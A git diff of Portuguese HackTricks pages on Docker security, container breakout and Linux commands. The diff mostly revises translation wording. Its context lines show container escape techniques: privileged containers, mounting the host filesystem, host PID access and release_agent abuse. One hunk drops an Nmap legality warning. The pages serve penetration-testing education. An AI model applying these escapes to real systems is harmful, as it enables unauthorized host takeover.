<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -22,7 +22,7 @@ Acesse hoje:
|
|||
|
||||
## **Segurança básica do Docker Engine**
|
||||
|
||||
O Docker Engine realiza o trabalho pesado de executar e gerenciar contêineres. O Docker Engine usa recursos do kernel Linux como **Namespaces** e **Cgroups** para fornecer isolamento básico entre os contêineres. Ele também usa recursos como **Capabilities dropping**, **Seccomp**, **SELinux/AppArmor para obter um melhor isolamento**.
|
||||
O Docker Engine realiza o trabalho pesado de executar e gerenciar contêineres. O Docker Engine usa recursos do kernel Linux, como **Namespaces** e **Cgroups**, para fornecer isolamento básico entre os contêineres. Ele também usa recursos como **redução de capacidades**, **Seccomp**, **SELinux/AppArmor para obter um melhor isolamento**.
|
||||
|
||||
Por fim, um **plugin de autenticação** pode ser usado para **limitar as ações** que os usuários podem executar.
|
||||
|
||||
|
@ -32,8 +32,8 @@ Por fim, um **plugin de autenticação** pode ser usado para **limitar as açõe
|
|||
|
||||
O cliente Docker pode acessar o Docker Engine **localmente usando um soquete Unix ou remotamente usando o mecanismo http**. Para usá-lo remotamente, é necessário usar https e **TLS** para garantir confidencialidade, integridade e autenticação.
|
||||
|
||||
Por padrão, ele escuta no soquete Unix `unix:///var/`\
|
||||
`run/docker.sock` e nas distribuições Ubuntu, as opções de inicialização do Docker são especificadas em `/etc/default/docker`. Para permitir que a API e o cliente Docker acessem o Docker Engine remotamente, precisamos **expor o daemon do Docker usando um soquete http**. Isso pode ser feito por:
|
||||
Por padrão, o Docker escuta no soquete Unix `unix:///var/`\
|
||||
`run/docker.sock` e nas distribuições Ubuntu, as opções de inicialização do Docker são especificadas em `/etc/default/docker`. Para permitir que a API e o cliente do Docker acessem o Docker Engine remotamente, precisamos **expor o daemon do Docker usando um soquete http**. Isso pode ser feito por:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H
|
||||
tcp://192.168.56.101:2376" -> add this to /etc/default/docker
|
||||
|
@ -51,7 +51,7 @@ As imagens do contêiner são armazenadas em um repositório privado ou público
|
|||
|
||||
### Verificação de imagem
|
||||
|
||||
Os contêineres podem ter **vulnerabilidades de segurança** devido à imagem base ou ao software instalado em cima da imagem base. A Docker está trabalhando em um projeto chamado **Nautilus** que faz a verificação de segurança dos contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada da imagem do contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
|
||||
Os contêineres podem ter **vulnerabilidades de segurança** tanto por causa da imagem base quanto pelo software instalado em cima da imagem base. A Docker está trabalhando em um projeto chamado **Nautilus** que faz a verificação de segurança dos contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada da imagem do contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
|
||||
|
||||
Para mais [**informações, leia isso**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
|
@ -87,14 +87,14 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
```
|
||||
### Assinatura de Imagens Docker
|
||||
|
||||
As imagens de contêineres Docker podem ser armazenadas em um registro público ou privado. É necessário **assinar** as imagens de contêineres para confirmar que elas não foram adulteradas. O **publicador** de conteúdo é responsável por **assinar** a imagem do contêiner e enviá-la para o registro.\
|
||||
As imagens de contêineres Docker podem ser armazenadas em um registro público ou privado. É necessário **assinar** as imagens de contêiner para confirmar que elas não foram adulteradas. O **publicador** de conteúdo é responsável por **assinar** a imagem do contêiner e enviá-la para o registro.\
|
||||
Aqui estão alguns detalhes sobre a confiança de conteúdo do Docker:
|
||||
|
||||
* A confiança de conteúdo do Docker é uma implementação do projeto de código aberto [Notary](https://github.com/docker/notary). O projeto de código aberto Notary é baseado no projeto [The Update Framework (TUF)](https://theupdateframework.github.io).
|
||||
* A confiança de conteúdo do Docker é habilitada com `export DOCKER_CONTENT_TRUST=1`. A partir da versão 1.10 do Docker, a confiança de conteúdo **não está habilitada por padrão**.
|
||||
* Quando a confiança de conteúdo está habilitada, só é possível **baixar imagens assinadas**. Ao enviar uma imagem, é necessário inserir a chave de marcação.
|
||||
* Quando o publicador envia a imagem pela **primeira vez** usando o comando docker push, é necessário inserir uma **senha** para a **chave raiz e chave de marcação**. As outras chaves são geradas automaticamente.
|
||||
* O Docker também adicionou suporte para chaves de hardware usando o Yubikey e os detalhes estão disponíveis [aqui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
* Quando o publicador envia a imagem pela **primeira vez** usando o comando docker push, é necessário inserir uma **senha** para a **chave raiz e a chave de marcação**. As outras chaves são geradas automaticamente.
|
||||
* O Docker também adicionou suporte para chaves de hardware usando o YubiKey e os detalhes estão disponíveis [aqui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
|
||||
Aqui está o **erro** que recebemos quando a **confiança de conteúdo está habilitada e a imagem não está assinada**.
|
||||
```shell-session
|
||||
|
@ -121,11 +121,11 @@ Quando mudei o host do Docker, tive que mover as chaves raiz e as chaves do repo
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -144,7 +144,7 @@ De qualquer forma, isso é útil para criar novos namespaces, mas **não para vo
|
|||
|
||||
**CGroups**
|
||||
|
||||
Isso permite limitar recursos e não afeta a segurança do isolamento do processo (exceto pelo `release_agent` que poderia ser usado para escapar).
|
||||
Isso permite limitar recursos e não afeta a segurança do isolamento do processo (exceto pelo `release_agent` que pode ser usado para escapar).
|
||||
|
||||
**Descarte de Capacidades**
|
||||
|
||||
|
@ -220,7 +220,7 @@ Quando um contêiner Docker é executado, o **processo descarta as capacidades s
|
|||
|
||||
### Seccomp no Docker
|
||||
|
||||
Este é um recurso de segurança que permite ao Docker **limitar as syscalls** que podem ser usadas dentro do contêiner:
|
||||
Esta é uma funcionalidade de segurança que permite ao Docker **limitar as syscalls** que podem ser usadas dentro do contêiner:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -338,9 +338,9 @@ Onde o seu arquivo especifica seus segredos como um par chave-valor.
|
|||
|
||||
Esses segredos são excluídos do cache de construção da imagem e da imagem final.
|
||||
|
||||
Se você precisa do seu **segredo em seu contêiner em execução**, e não apenas ao construir sua imagem, use **Docker Compose ou Kubernetes**.
|
||||
Se você precisa do seu **segredo em seu contêiner em execução**, e não apenas durante a construção da imagem, use **Docker Compose ou Kubernetes**.
|
||||
|
||||
Com o Docker Compose, adicione o par chave-valor dos segredos a um serviço e especifique o arquivo de segredo. A dica é do [Stack Exchange answer](https://serverfault.com/a/936262/535325) para a dica de segredos do Docker Compose que o exemplo abaixo é adaptado.
|
||||
Com o Docker Compose, adicione o par chave-valor dos segredos a um serviço e especifique o arquivo de segredo. Agradecimentos à resposta do [Stack Exchange](https://serverfault.com/a/936262/535325) pela dica de segredos do Docker Compose, da qual o exemplo abaixo foi adaptado.
|
||||
|
||||
Exemplo `docker-compose.yml` com segredos:
|
||||
```yaml
|
||||
|
@ -386,14 +386,14 @@ Se você estiver usando [Kubernetes](https://kubernetes.io/docs/concepts/configu
|
|||
* **Reconstrua regularmente** suas imagens para **aplicar patches de segurança no host e nas imagens**.
|
||||
* Gerencie seus **segredos com sabedoria** para dificultar o acesso do invasor a eles.
|
||||
* Se você **expõe o daemon do Docker, use HTTPS** com autenticação de cliente e servidor.
|
||||
* Em seu Dockerfile, **prefira COPY em vez de ADD**. ADD extrai automaticamente arquivos compactados e pode copiar arquivos de URLs. COPY não possui essas capacidades. Sempre que possível, evite usar ADD para não ficar suscetível a ataques por meio de URLs remotas e arquivos Zip.
|
||||
* No seu Dockerfile, **prefira COPY em vez de ADD**. ADD extrai automaticamente arquivos compactados e pode copiar arquivos de URLs. COPY não possui essas capacidades. Sempre que possível, evite usar ADD para não ficar suscetível a ataques por meio de URLs remotas e arquivos Zip.
|
||||
* Tenha **contêineres separados para cada microsserviço**.
|
||||
* **Não coloque o ssh** dentro do contêiner, "docker exec" pode ser usado para fazer ssh para o contêiner.
|
||||
* **Não coloque o ssh** dentro do contêiner, "docker exec" pode ser usado para acessar o contêiner via ssh.
|
||||
* Tenha **imagens de contêiner menores**
|
||||
|
||||
## Fuga de Contêiner Docker / Escalação de Privilégios
|
||||
|
||||
Se você estiver **dentro de um contêiner Docker** ou tiver acesso a um usuário no **grupo docker**, você pode tentar **escapar e escalar privilégios**:
|
||||
Se você estiver **dentro de um contêiner Docker** ou tiver acesso a um usuário no **grupo docker**, você pode tentar **escapar e elevar privilégios**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
|
@ -424,7 +424,7 @@ Você precisa executar a ferramenta no host que executa o Docker ou em um contê
|
|||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -76,7 +76,7 @@ Você pode verificar as capacidades do contêiner atualmente usando as **ferrame
|
|||
```bash
|
||||
capsh --print
|
||||
```
|
||||
Na seguinte página, você pode aprender mais sobre as **capacidades do Linux** e como abusá-las para escapar/elevar privilégios:
|
||||
Na seguinte página, você pode aprender mais sobre as capacidades do Linux e como abusá-las para escapar/elevar privilégios:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
|
@ -96,7 +96,7 @@ Um container com privilégios pode ser criado com a flag `--privileged` ou desab
|
|||
* `--cgroupns=host`
|
||||
* `Montar /dev`
|
||||
|
||||
A flag `--privileged` introduz preocupações significativas de segurança, e a exploração depende de lançar um container docker com ela habilitada. Ao usar essa flag, os containers têm acesso total a todos os dispositivos e não possuem restrições do seccomp, AppArmor e das capacidades do Linux. Você pode **ler todos os efeitos de `--privileged`** nesta página:
|
||||
A flag `--privileged` introduz preocupações significativas de segurança, e o exploit depende do lançamento de um container docker com ela habilitada. Ao usar essa flag, os containers têm acesso total a todos os dispositivos e não possuem restrições do seccomp, AppArmor e das capacidades do Linux. Você pode ler todos os efeitos de `--privileged` nesta página:
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -120,7 +120,7 @@ docker run --rm -it --privileged ubuntu bash
|
|||
```
|
||||
#### Montando Disco - Poc1
|
||||
|
||||
Contêineres do Docker bem configurados não permitirão comandos como **fdisk -l**. No entanto, em um comando Docker mal configurado onde a flag `--privileged` ou `--device=/dev/sda1` com caps é especificada, é possível obter privilégios para visualizar a unidade do host.
|
||||
Contêineres do Docker bem configurados não permitirão comandos como **fdisk -l**. No entanto, em um comando Docker mal configurado, onde a flag `--privileged` ou `--device=/dev/sda1` com caps é especificada, é possível obter privilégios para visualizar a unidade do host.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -242,7 +242,7 @@ Encontre uma **explicação da técnica** em:
|
|||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Privileged Escape Abusing release\_agent sem conhecer o caminho relativo - PoC3
|
||||
#### Privileged Escape Abusando do release\_agent sem conhecer o caminho relativo - PoC3
|
||||
|
||||
Nos exploits anteriores, o **caminho absoluto do contêiner dentro do sistema de arquivos do host é revelado**. No entanto, nem sempre é esse o caso. Em situações em que você **não conhece o caminho absoluto do contêiner dentro do host**, você pode usar esta técnica:
|
||||
|
||||
|
@ -355,7 +355,7 @@ No entanto, você pode encontrar **outros arquivos sensíveis** para verificar n
|
|||
|
||||
### Montagens arbitrárias
|
||||
|
||||
Em várias ocasiões, você descobrirá que o **contêiner possui algum volume montado do host**. Se esse volume não estiver configurado corretamente, você poderá **acessar/modificar dados sensíveis**: ler segredos, alterar chaves autorizadas do SSH...
|
||||
Em várias ocasiões, você descobrirá que o **contêiner possui algum volume montado do host**. Se esse volume não estiver configurado corretamente, você poderá **acessar/modificar dados sensíveis**: ler segredos, alterar chaves autorizadas do ssh...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
|
@ -416,7 +416,7 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
### hostPID
|
||||
|
||||
Se você conseguir acessar os processos do host, você poderá acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:
|
||||
Se você pode acessar os processos do host, você será capaz de acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
|
@ -483,7 +483,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
A segunda técnica explicada no post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de bind mounts com namespaces de usuário para afetar arquivos dentro do host (neste caso específico, excluir arquivos).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
@ -513,7 +513,7 @@ Existem outras CVEs às quais o contêiner pode estar vulnerável, você pode en
|
|||
|
||||
### Superfície de Escape do Docker
|
||||
|
||||
* **Namespaces:** O processo deve estar **completamente separado de outros processos** por meio de namespaces, para que não possamos escapar interagindo com outros processos devido aos namespaces (por padrão, não é possível se comunicar via IPCs, unix sockets, serviços de rede, D-Bus, `/proc` de outros processos).
|
||||
* **Namespaces:** O processo deve estar **completamente separado de outros processos** por meio de namespaces, para que não possamos escapar interagindo com outros processos devido aos namespaces (por padrão, não é possível se comunicar via IPCs, soquetes Unix, serviços de rede, D-Bus, `/proc` de outros processos).
|
||||
* **Usuário root**: Por padrão, o usuário que executa o processo é o usuário root (no entanto, seus privilégios são limitados).
|
||||
* **Capacidades**: O Docker deixa as seguintes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Essas são as syscalls que o **usuário root não poderá chamar** (por falta de capacidades + Seccomp). As outras syscalls podem ser usadas para tentar escapar.
|
||||
|
@ -622,7 +622,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Comandos Úteis do Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -12,7 +12,7 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -139,7 +139,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -169,67 +169,49 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
O comando `grep` é uma ferramenta poderosa para pesquisar e filtrar texto em arquivos ou saídas de comandos. Ele permite que você encontre padrões específicos em um arquivo ou em uma lista de arquivos.
|
||||
O comando `grep` é uma ferramenta poderosa para pesquisar padrões em arquivos de texto. Ele permite que você encontre linhas que correspondam a um determinado padrão e exiba-as na saída. Aqui estão alguns exemplos de uso comuns do comando `grep`:
|
||||
|
||||
### Sintaxe básica
|
||||
|
||||
A sintaxe básica do comando `grep` é a seguinte:
|
||||
|
||||
```
|
||||
grep [opções] padrão [arquivo(s)]
|
||||
```
|
||||
|
||||
- `opções`: são as opções que você pode usar para personalizar a pesquisa.
|
||||
- `padrão`: é o padrão que você deseja procurar nos arquivos.
|
||||
- `arquivo(s)`: são os arquivos em que você deseja realizar a pesquisa. Se nenhum arquivo for especificado, o `grep` lerá a entrada padrão.
|
||||
|
||||
### Exemplos de uso
|
||||
|
||||
Aqui estão alguns exemplos de uso comuns do comando `grep`:
|
||||
|
||||
- Pesquisar um padrão em um arquivo específico:
|
||||
- **Pesquisar uma palavra em um arquivo**: Para pesquisar uma palavra específica em um arquivo, use o seguinte comando:
|
||||
|
||||
```
|
||||
grep "padrão" arquivo.txt
|
||||
grep "palavra" arquivo.txt
|
||||
```
|
||||
|
||||
- Pesquisar um padrão em vários arquivos:
|
||||
Isso exibirá todas as linhas que contêm a palavra "palavra" no arquivo "arquivo.txt".
|
||||
|
||||
- **Pesquisar uma palavra em vários arquivos**: Se você quiser pesquisar uma palavra em vários arquivos, use o seguinte comando:
|
||||
|
||||
```
|
||||
grep "padrão" arquivo1.txt arquivo2.txt
|
||||
grep "palavra" arquivo1.txt arquivo2.txt arquivo3.txt
|
||||
```
|
||||
|
||||
- Pesquisar um padrão em todos os arquivos de um diretório:
|
||||
Isso exibirá todas as linhas que contêm a palavra "palavra" nos arquivos "arquivo1.txt", "arquivo2.txt" e "arquivo3.txt".
|
||||
|
||||
- **Pesquisar uma palavra em todos os arquivos de um diretório**: Se você quiser pesquisar uma palavra em todos os arquivos de um diretório, use o seguinte comando:
|
||||
|
||||
```
|
||||
grep "padrão" diretório/*
|
||||
grep "palavra" diretório/*
|
||||
```
|
||||
|
||||
- Pesquisar um padrão, ignorando maiúsculas e minúsculas:
|
||||
Isso exibirá todas as linhas que contêm a palavra "palavra" em todos os arquivos do diretório especificado.
|
||||
|
||||
- **Pesquisar uma palavra ignorando maiúsculas e minúsculas**: Se você quiser pesquisar uma palavra, mas ignorar diferenças entre maiúsculas e minúsculas, use o seguinte comando:
|
||||
|
||||
```
|
||||
grep -i "padrão" arquivo.txt
|
||||
grep -i "palavra" arquivo.txt
|
||||
```
|
||||
|
||||
- Pesquisar um padrão e exibir o número da linha correspondente:
|
||||
Isso exibirá todas as linhas que contêm a palavra "palavra", independentemente de estarem em maiúsculas ou minúsculas, no arquivo "arquivo.txt".
|
||||
|
||||
- **Pesquisar uma palavra com contexto**: Se você quiser exibir não apenas a linha que contém a palavra pesquisada, mas também algumas linhas antes e depois dela, use o seguinte comando:
|
||||
|
||||
```
|
||||
grep -n "padrão" arquivo.txt
|
||||
grep -C 2 "palavra" arquivo.txt
|
||||
```
|
||||
|
||||
- Pesquisar um padrão recursivamente em subdiretórios:
|
||||
Isso exibirá a linha que contém a palavra "palavra" e duas linhas antes e depois dela no arquivo "arquivo.txt".
|
||||
|
||||
```
|
||||
grep -r "padrão" diretório/
|
||||
```
|
||||
|
||||
- Pesquisar um padrão e exibir apenas o nome do arquivo correspondente:
|
||||
|
||||
```
|
||||
grep -l "padrão" arquivo.txt
|
||||
```
|
||||
|
||||
Esses são apenas alguns exemplos das muitas opções e recursos disponíveis no comando `grep`. Experimente diferentes combinações para atender às suas necessidades de pesquisa.
|
||||
Esses são apenas alguns exemplos de como usar o comando `grep`. Ele possui muitas outras opções e recursos que podem ser explorados para realizar pesquisas mais avançadas em arquivos de texto.
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -329,7 +311,9 @@ Aqui estão alguns comandos úteis do Nmap que podem ser usados para realizar pe
|
|||
|
||||
- **nmap -sU <IP>**: Este comando realiza uma varredura UDP em um host para identificar portas abertas e serviços em execução.
|
||||
|
||||
Esses comandos são apenas alguns exemplos das muitas opções disponíveis no Nmap. É importante lembrar que o uso do Nmap para fins maliciosos é ilegal e antiético.
|
||||
- **nmap -T<0-5> <IP>**: Este comando permite ajustar o tempo de execução e a intensidade da varredura, variando de 0 (paranóico) a 5 (insano).
|
||||
|
||||
Esses comandos são apenas alguns exemplos das muitas opções disponíveis no Nmap. Experimente-os e explore mais recursos para aprimorar suas habilidades de hacking e auditoria de segurança.
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
|
@ -340,9 +324,9 @@ nmap --script-help "(default or version) and smb)"
|
|||
|
||||
Bash (Bourne Again SHell) é um interpretador de comandos de shell para sistemas operacionais baseados em Unix. É uma das shells mais populares e amplamente utilizadas no Linux.
|
||||
|
||||
### Comandos Úteis do Linux
|
||||
### Comandos Úteis
|
||||
|
||||
Aqui estão alguns comandos úteis do Linux que podem ser executados no terminal Bash:
|
||||
Aqui estão alguns comandos úteis do Bash que podem ser usados para várias tarefas:
|
||||
|
||||
- `ls`: lista os arquivos e diretórios no diretório atual.
|
||||
- `cd`: muda o diretório atual.
|
||||
|
@ -354,19 +338,17 @@ Aqui estão alguns comandos úteis do Linux que podem ser executados no terminal
|
|||
- `cat`: exibe o conteúdo de um arquivo.
|
||||
- `grep`: pesquisa por padrões em arquivos.
|
||||
- `chmod`: altera as permissões de acesso de arquivos e diretórios.
|
||||
- `chown`: altera o proprietário e o grupo de arquivos e diretórios.
|
||||
- `ps`: exibe os processos em execução.
|
||||
- `top`: exibe informações sobre os processos em execução e o uso de recursos do sistema.
|
||||
- `kill`: encerra um processo.
|
||||
- `chown`: altera o proprietário de arquivos e diretórios.
|
||||
- `ssh`: inicia uma sessão segura em um servidor remoto.
|
||||
- `wget`: baixa arquivos da web.
|
||||
- `curl`: transfere dados usando vários protocolos de rede.
|
||||
- `tar`: cria ou extrai arquivos compactados no formato tar.
|
||||
- `gzip`: compacta ou descompacta arquivos no formato gzip.
|
||||
- `find`: pesquisa arquivos e diretórios com base em critérios específicos.
|
||||
- `history`: exibe o histórico de comandos executados anteriormente.
|
||||
- `ps`: exibe os processos em execução.
|
||||
- `top`: exibe informações em tempo real sobre os processos em execução.
|
||||
- `kill`: encerra um processo em execução.
|
||||
- `history`: exibe o histórico de comandos digitados anteriormente.
|
||||
|
||||
Esses são apenas alguns dos comandos mais comumente usados no Linux. Existem muitos outros comandos disponíveis, cada um com sua própria funcionalidade e opções.
|
||||
Esses são apenas alguns dos comandos mais comumente usados no Bash. Existem muitos outros comandos disponíveis, cada um com sua própria funcionalidade e opções.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
|
@ -430,7 +412,7 @@ iptables -P OUTPUT ACCEPT
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
